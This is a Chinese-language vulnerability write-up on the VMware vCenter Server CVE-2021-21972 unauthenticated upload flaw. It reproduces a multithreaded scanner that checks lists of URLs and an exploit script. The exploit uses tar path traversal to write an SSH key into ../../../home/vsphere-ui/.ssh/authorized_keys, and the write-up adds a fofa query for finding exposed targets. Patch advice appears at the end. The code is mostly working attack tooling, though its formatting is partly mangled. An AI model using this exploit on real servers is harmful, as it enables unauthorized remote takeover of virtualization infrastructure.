漏洞简介

vSphere 是 VMware 推出的虚拟化平台套件，包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心，可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。

vSphere Client（HTML5） 在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求，写入webshell，控制服务器。

影响范围

VMware vCenter Server: 7.0/6.7/6.5

漏洞分析

vCenter Server中的vrops插件存在一些未鉴定权限的敏感接口，其中uploadova接口具有文件上传功能。
```
@RequestMapping(
value = {"/uploadova"},
method = {RequestMethod.POST}
)
public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
...
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty()) {
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
String[] var9 = entries;
int var10 = entries.length;

                for(int var11 = 0; var11 < var10; ++var11) {
                    String entry = var9[var11];
                    File currentFile = new File(dir.getPath(), entry);
                    currentFile.delete();
                }

                logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
            }

            TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
            TarArchiveEntry entry = in.getNextTarEntry();
            ArrayList result = new ArrayList();

代码中，将tar文件解压后，上传到`/tmp/unicorn_ova_dir`目录
while(entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
} else {
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists()) {
parent.mkdirs();
``
上述代码直接将tar解压的文件名与/tmp/unicorn_ova_dir拼接并写入文件，这里可以使用../`绕过目录限制。

若目标为Linux环境，可以创建一个文件名为../../home/vsphere-ui/.ssh/authorized_keys的tar文件，上传后即可使用SSH连接服务器。

POC & EXP

POC来自github：
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py
```

-- coding:utf-8 --

banner = """
888888ba dP

88 8b 88
a88aaaa8P' .d8888b. d8888P .d8888b. dP dP
888b. 88' 88 88 Y8ooooo. 88 88
88 .88 88. .88 88 88 88. .88
88888888P88888P8 dP 88888P'88888P'
ooooooooooooooooooooooooooooooooooooooooooooooooooooo
@time:2021/02/24 CVE-2021-21972.py
C0de by NebulabdSec - @batsu

"""
print(banner)

import threadpool
import random
import requests
import argparse
import http.client
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"

def get_ua():
first_num = random.randint(55, 62)
third_num = random.randint(0, 3200)
fourth_num = random.randint(0, 140)
os_type = [
'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
'(Macintosh; Intel Mac OS X 10_12_6)'
]
chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
               '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
              )
return ua

def CVE_2021_21972(url):
proxies = {"scoks5": "http://127.0.0.1:1081"}
headers = {
'User-Agent': get_ua(),
"Content-Type": "application/x-www-form-urlencoded"
}
targetUrl = url + TARGET_URI
try:
res = requests.get(targetUrl,
headers=headers,
timeout=15,
verify=False,
proxies=proxies)
# proxies={'socks5': 'http://127.0.0.1:1081'})
# print(len(res.text))
if res.status_code == 405:
print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))
# print("[+] Command success result: " + res.text + "\n")
with open("存在漏洞地址.txt", 'a') as fw:
fw.write(url + '\n')
else:
print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n")
# except Exception as e:
# print(e)
except:
print("[-] " + url + " Request ERROR.\n")
def multithreading(filename, pools=5):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")]
# func_params = [i] + [cmd]
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(CVE_2021_21972, works)
[pool.putRequest(req) for req in reqs]
pool.wait()

def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u",
"--url",
help="Target URL; Example:http://ip:port")
parser.add_argument("-f",
"--file",
help="Url File; Example:url.txt")
# parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
args = parser.parse_args()
url = args.url
# cmd = args.cmd
file_path = args.file
if url != None and file_path ==None:
CVE_2021_21972(url)
elif url == None and file_path != None:
multithreading(file_path, 10) # 默认15线程

if name == "main":
main()
```

EXP来自CSDN：
https://blog.csdn.net/weixin_43650289/article/details/114055417

```
import tarfile
import os
from io import BytesIO
import requests

proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
def return_zip():
with tarfile.open("test.tar", 'w') as tar:
payload = BytesIO()
id_rsa_pub = 'ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgGuwNdSGHKvzHsHt7QImwwJ08Wa/+gHXOt+VwZTD23rLwCGVeYmfKObDY0uFfe2O4jr+sPamgA8As4LwdqtkadBPR+EzZB+PlS66RcVnUnDU4UdMhQjhyj/uv3pdtugugJpB9xaLdrUWwGoOLYA/djxD5hmojGdoYydBezsNhj2xXRyaoq3AZVqh1YLlhpwKnzhodk12a7/7EU+6Zj/ee5jktEwkBsVsDLTTWPpSnzK7r+kAHkbYx8fvO3Fk+9jlwadgbmhHJrpPr8gLEhwvrEnPcK1/j+QXvVkgy2cuYxl9GCUPv2wgZCN50f3wQlaJiektm2S9WkN5dLDdX+X4w=='
tarinfo = tarfile.TarInfo(name='../../../home/vsphere-ui/.ssh/authorized_keys')
f1 = BytesIO(id_rsa_pub.encode())
tarinfo.size = len(f1.read())
f1.seek(0)
tar.addfile(tarinfo, fileobj=f1)
tar.close()
payload.seek(0)
def getshell(url):
files = {'uploadFile':open('test.tar','rb')}
try:
r = requests.post(url=url, files=files,proxies=proxies,verify = False).text
print(r)
except:
print('flase')

if name == "main":
try:
return_zip()
url="https://192.168.1.1/ui/vropspluginui/rest/services/uploadova"
getshell(url)
except IOError as e:
raise e
```

漏洞复现

fofa搜索title="+ ID_VC_Welcome +"

使用POC验证漏洞是否存在：

使用EXP上传tar文件：

成功上传authorized_keys

修复建议

• vCenter Server7.0版本升级到7.0.U1c
• vCenter Server6.7版本升级到6.7.U3l
• vCenter Server6.5版本升级到6.5 U3n

参考链接

https://www.vmware.com/security/advisories/VMSA-2021-0002.html